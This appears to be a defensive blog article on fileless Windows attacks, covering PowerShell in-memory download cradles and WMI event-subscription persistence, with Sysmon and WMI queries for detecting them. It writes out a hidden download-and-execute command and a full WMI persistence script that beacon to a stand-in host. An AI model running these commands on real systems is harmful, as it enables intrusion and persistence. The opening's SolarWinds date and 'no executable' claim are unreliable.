In the 2021 SolarWinds breach, attackers spent months inside victim networks without dropping a single traditional executable. They used built-in system tools — PowerShell, WMI, scheduled tasks — to blend with normal admin traffic. This is living off the land (LotL), and it remains one of the hardest attack patterns to detect in 2026.
\n\n
How Attackers Abuse PowerShell to Run Code in Memory
\n\n
Fileless malware’s core trick: execute a payload that never touches disk. PowerShell makes this trivial. An attacker who has compromised a foothold on ws01.corp.internal (192.0.2.45) — maybe through a phishing email opened by user jharris — can pull a second-stage payload directly into memory with one command.
\n\n
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \n \"IEX (New-Object Net.WebClient).DownloadString('http://192.0.2.99:8080/stage2.ps1')\"\n\n
What this does: IEX (Invoke-Expression) fetches the remote script and executes it immediately in the PowerShell process — nothing written to disk. The flags suppress the window (-W Hidden), bypass execution policy (-Exec Bypass), and skip the user profile (-NoP) to avoid leaving traces in $PROFILE.
\n\n
From a defender’s view, this shows up as a powershell.exe child process of outlook.exe or winword.exe — a massive red flag. Your EDR should alert on that parent-child relationship immediately. If you’re hunting manually in Sysmon logs, you’re looking for Event ID 1 with ParentImage set to an Office application and CommandLine containing IEX or DownloadString.
\n\n
Get-WinEvent -LogName Microsoft-Windows-Sysmon/Operational | \n Where-Object { $_.Message -match 'IEX|DownloadString' } | \n Select-Object TimeCreated, Message | \n Format-List\n\n
Run that on ws01 and any hit is worth investigating immediately. An attacker’s next move after stage2 loads is usually credential dumping or lateral movement — you have a narrow window to respond.
\n\n
WMI Subscriptions: Persistence Without a Single File
\n\n
PowerShell one-liners are loud once you know what to look for. Experienced attackers go quieter with WMI (Windows Management Instrumentation) — a built-in Windows feature that can trigger actions based on system events. Abused for persistence, it survives reboots and leaves no files on disk.
\n\n
Here’s what an attacker command to create a WMI event subscription looks like on srv-dc01.corp.internal after lateral movement from jharris’s workstation:
\n\n
# Attacker establishes persistence via WMI event subscription\n$FilterArgs = @{\n Name = 'WindowsUpdateCheck'\n EventNameSpace = 'root\\cimv2'\n QueryLanguage = 'WQL'\n Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Second = 30\"\n}\n$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $FilterArgs\n\n$ConsumerArgs = @{\n Name = 'WindowsUpdateCheck'\n CommandLineTemplate = 'powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"IEX (New-Object Net.WebClient).DownloadString(\\\"http://192.0.2.99:8080/beacon.ps1\\\")\"'\n}\n$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs\n\nSet-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter; Consumer=$Consumer}\n\n
What this does: Every 60 seconds, WMI checks if the system clock’s second value equals 30. When it does, it fires the CommandLineEventConsumer — executing that PowerShell beacon silently. The subscription is stored entirely in the WMI repository (%SystemRoot%\System32\wbem\Repository), not in a file the attacker created.
\n\n
To detect this, query the WMI subscriptions directly:
\n\n
Get-WMIObject -Namespace root/subscription -Class __EventFilter | \n Select-Object Name, Query | Format-List\n\nGet-WMIObject -Namespace root/subscription -Class CommandLineEventConsumer | \n Select-Object Name, CommandLineTemplate | Format-List\n\n
On a clean system, you should see nothing — or only known vendor entries. A subscription named WindowsUpdateCheck with a PowerShell command pulling from an external IP is your attacker. Remove it with Remove-WmiObject and immediately isolate the host. The C2 IP (192.0.2.99 in this scenario) needs to be blocked and investigated for other beaconing hosts.
\n\n
Why Traditional AV Misses This Entirely
\n\n
Signature-based antivirus looks for malicious files. Fileless malware gives it nothing to scan. The payload lives in PowerShell’s memory space, the persistence lives in WMI’s database, and the binaries being abused — powershell.exe, wmic.exe, mshta.exe — are all Microsoft-signed.
\n\n
Effective detection requires behavioral analysis: process lineage, network connections from scripting engines, anomalous WMI subscription creation. Tools like Sysmon (free), paired with a SIEM, give you the telemetry. Without logging PowerShell Script Block Logging and Module Logging, you’re flying blind.
\n\n
Enable both in Group Policy under Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell. Script Block Logging captures the actual code that runs — even after obfuscation is decoded — and writes it to Event ID 4104.
\n\n
What To Do Now
\n\n
Right now, open PowerShell as administrator on one of your Windows servers and run the WMI subscription query above. If you get unexpected results, you may already have a problem. If it’s clean, baseline it — screenshot or export the output — so you have something to compare against next week. Then enable PowerShell Script Block Logging via GPO if you haven’t already. These two actions cost you fifteen minutes and dramatically improve your visibility into the most common enterprise intrusion technique active today.
